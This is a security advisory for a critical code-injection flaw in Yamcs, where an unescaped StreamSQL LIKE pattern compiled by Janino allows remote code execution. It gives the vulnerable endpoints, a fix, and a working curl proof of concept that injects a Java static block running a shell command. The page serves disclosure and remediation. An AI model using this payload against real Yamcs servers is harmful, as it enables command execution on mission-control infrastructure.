GHSA-c64q-hj4j-375f CVE-2026-55565
Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)
- Severity
- 9.9 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.65%
- Chance of exploitation in the next 30 days. Higher than 51.15% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
5.13.2- Upgrade org.yamcs:yamcs-core to this version or later
Description
Summary
Yamcs compiles StreamSQL query expressions to Java at runtime with Janino. The LIKE operator inserts the user-supplied pattern into the generated Java unescaped, inside a "..." literal, so a pattern containing " breaks out and injects arbitrary Java (e.g. a static{} block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.
The pattern is embedded raw whether it comes from a SQL string literal or a bound ? argument, so the sink is reachable from any endpoint that builds a LIKE from user input, at routine read-only privileges, not just executeSql:
POST /api/archive/{instance}:executeSqland:streamSql(privilegeControlArchiving)POST /api/archive/{instance}/tables/{table}:readRowsvia thequeryfield (privilegeReadTables)GET /api/archive/{instance}/events?q=and the event export/stream variants (privilegeReadEvents)listActivitiesq(privilegeReadActivities)
The Events page search box feeds q directly.
Independent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of ChangeMissionDatabase and is not affected by the overrideAlgorithmsEnabled gate.
Details
- Sink:
Expression#getCompiledExpressioncompiles generated source withSimpleCompiler.cook(...)(Expression.java:205) and instantiates it (Expression.java:213) at stream prep, before any tuple flows. - Injection:
LikeExpression#fillCode_getValueReturn(LikeExpression.java:26) appendslikeClause.patternraw intoUtils.like(<col>, "<pattern>"). The safe siblingValueExpressionescapes literals viaescapeJavaString()(ValueExpression.java:82-85); a review of all 35 streamsql code-generators foundLikeExpressionto be the only unescaped one. - Grammar:
S_STRING = "'" (~["'"])* "'"(StreamSql.jj:222) allows";getNonEscapedString(StreamSql.jj:36) does not escape"or\. - Reachability:
TableApi#executeSql(TableApi.java:399) checks onlyControlArchiving, then passes the raw statement toydb.createStatement(...). No SecurityManager or Janino sandbox is configured, so the compiled code can callRuntime/ProcessBuilder.:streamSql(TableApi.java:447) is equally affected. - The sink is reachable from several lower-privilege endpoints, not just
executeSql. A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound?argument (nextArgAsString->likeClause.pattern), so any endpoint building... LIKE ?with attacker input also reaches it:POST .../tables/{table}:readRows(TableApi.java:276, privilege ReadTables): thequeryandcolsrequest fields are concatenated raw into the executed StreamSQL (sqlb.where(request.getQuery())). Verified RCE.GET .../events?q=(listEvents, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege ReadEvents:body.message like ?with"%"+q+"%". Verified RCE.listActivities(ActivitiesApi.java:86/113), privilege ReadActivities:detail like ?with"%"+q+"%".ReadTables/ReadEvents/ReadActivitiesare routine read-only permissions. The singleescapeJavaStringfix below closes all of these (one sink). The rawreadRowsWHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validatecols, do not accept a free-formqueryatReadTables).
Proof of Concept
Against a Yamcs server with security enabled (default HTTP port 8090), as a user holding only ControlArchiving.
BASE=http://<host>:8090
INSTANCE=<instance>
# 1. Get a token for a ControlArchiving user.
TOK=$(curl -s -X POST "$BASE/auth/token" \
-d 'grant_type=password&username=USER&password=PASS' \
| python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])')
# 2. Create a table with a string column.
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d '{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}'
# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a
# static{} initializer that runs an OS command, then reopens a dummy method so the
# generated class still compiles.
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
-H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
-d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"
# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned # -> uid=...(...)
A benign like 'abc%' does nothing; exploitation depends on the " break-out.
Impact
Arbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via executeSql (ControlArchiving), readRows (ReadTables), the events list/export/stream endpoints (ReadEvents), and the activities listing (ReadActivities).
Exploitation via executeSql generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).
Remediation
Escape the pattern like other literals, in LikeExpression.fillCode_getValueReturn:
code.append(", \"");
ValueExpression.escapeJavaString(likeClause.pattern, code); // was: code.append(likeClause.pattern);
code.append("\")");
Defence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every cook() path; compile generated classes under a classloader that cannot reach Runtime/ProcessBuilder.
Affected versions
Maven
| Package | Vulnerable | Fixed in |
|---|---|---|
| org.yamcs:yamcs-core | >= 5.13.0, < 5.13.2 |
5.13.2 |
| org.yamcs:yamcs-core | < 5.12.8 |
5.12.8 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
org.yamcs:yamcs-core Maven → 5.13.2
- maven
<dependency><groupId>org.yamcs</groupId><artifactId>yamcs-core</artifactId><version>5.13.2</version></dependency>- gradle
implementation("org.yamcs:yamcs-core:5.13.2")
Severity breakdown
CVSS 3.1 9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9272-wg2r-7xmx Yamcs has DOM XSS in Extension Routing | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-73mf-m39p-wpm9 Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance) | Critical | Also affects org.yamcs:yamcs-core |
| GHSA-9jg3-g3wh-w9pj Yamcs has Unauthenticated Directory Traversal | High | Also affects org.yamcs:yamcs-core |
| GHSA-rxpg-wjf8-qv9c Yamcs has Reflected XSS in the URL of the Authorize Endpoint | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-cvw4-55pp-3hfq Yamcs's Missing Authorization on Role and Privilege Enumeration Endpoints Allows Any Authenticated User to Disclose Full Security Configuration | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-fwww-cp23-7f5g Yamcs's WebSocket subscription handlers omit the privilege checks their REST siblings enforce | Medium | Also affects org.yamcs:yamcs-core |
| GHSA-962x-ccwf-8x6p Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities | High | Also affects org.yamcs:yamcs-core |
| GHSA-3g44-3m7x-cgg2 Yamcs vulnerable to authenticated RCE via StreamSQL aggregate-compiler column-name injection in Yamcs `executeSql` | Critical | Also affects org.yamcs:yamcs-core |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor